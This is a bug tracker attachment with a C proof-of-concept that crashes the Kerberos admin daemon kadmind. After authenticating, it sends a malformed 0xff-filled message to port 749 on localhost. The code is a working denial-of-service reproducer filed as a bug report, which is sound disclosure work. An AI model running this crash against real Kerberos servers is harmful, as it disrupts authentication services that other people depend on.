Attachment 238235 Details for Bug 267912 – crash kadmind with a missing realm string

crash kadmind with a missing realm string

kadmind12a.c (text/plain), 2.26 KB, created by Robert Morris on 2022-11-21 23:13:31 UTC

(hide)

Description:

Filename:

MIME Type:

Creator: Robert Morris

Created: 2022-11-21 23:13:31 UTC

Size: 2.26 KB

patch

obsolete

>//
>// cc kadmind12a.c -lkrb
>// you need valid tickets,
>// and /usr/libexec/kadmind needs to be running.
>//
>
>#include <stdio.h>
>#include <string.h>
>#include <stdlib.h>
>#include <unistd.h>
>#include <sys/socket.h>
>#include <sys/ioctl.h>
>#include <netinet/in.h>
>#include <sys/wait.h>
>#include <sys/resource.h>
>#include <arpa/inet.h>
>#include <assert.h>
>#include <ctype.h>
>#include <fcntl.h>
>#include <signal.h>
>#include <krb5.h>
>
>int
>main()
>{
>  int status;
>
>  krb5_context context;
>  assert(krb5_init_context(&context) == 0);
>
>  struct sockaddr_in sin;
>  memset(&sin, 0, sizeof(sin));
>  sin.sin_family = AF_INET;
>  sin.sin_addr.s_addr = inet_addr("127.0.0.1");
>  sin.sin_port = htons(749);
>
>  int s = socket(AF_INET, SOCK_STREAM, 0);
>  int ret = connect(s, (struct sockaddr *)&sin, sizeof(sin));
>  if(ret < 0){
>    perror("connect");
>    exit(1);
>  }
>
>  krb5_auth_context auth_context = NULL;
>  assert(krb5_auth_con_init(context, &auth_context) == 0);
>
>  assert(krb5_auth_con_setaddrs_from_fd(context, auth_context, &s) == 0);
>
>  krb5_principal server;
>  assert(krb5_sname_to_principal(context, "admin", "kadmin", KRB5_NT_SRV_HST, &server) == 0);
>
>  status = krb5_sendauth(context,
>                         &auth_context,
>                         &s,
>                         "KADM0.1",
>                         NULL,
>                         server,
>                         0,
>                         NULL,
>                         NULL,
>                         NULL,
>                         NULL,
>                         NULL,
>                         NULL);
>  if(status)
>    krb5_err(context, 1, status, "krb5_sendauth");
>
>  // kadmind probably expects ASN.1 payload.
>
>  char buf[128];
>  memset(buf, 0xff, sizeof(buf));
>
>  krb5_data data;
>  data.data = buf;
>  data.length = sizeof(buf);
>
>  krb5_data packet;
>  krb5_data_zero(&packet);
>
>  status = krb5_mk_priv(context,
>                        auth_context,
>                        &data,
>                        &packet,
>                        NULL);
>  if(status)
>    krb5_err(context, 1, status, "krb5_mk_safe");
>
>  int len = packet.length;
>  int net_len = htonl(len);
>  if(krb5_net_write(context, &s, &net_len, 4) != 4)
>    perror("krb5_net_write");
>  if(krb5_net_write(context, &s, packet.data, len) != len)
>    perror("krb5_net_write");
>
>  sleep(1);
>}

Actions: View

Attachments on bug 267912: 238235 | 238301 | 238303 | 238305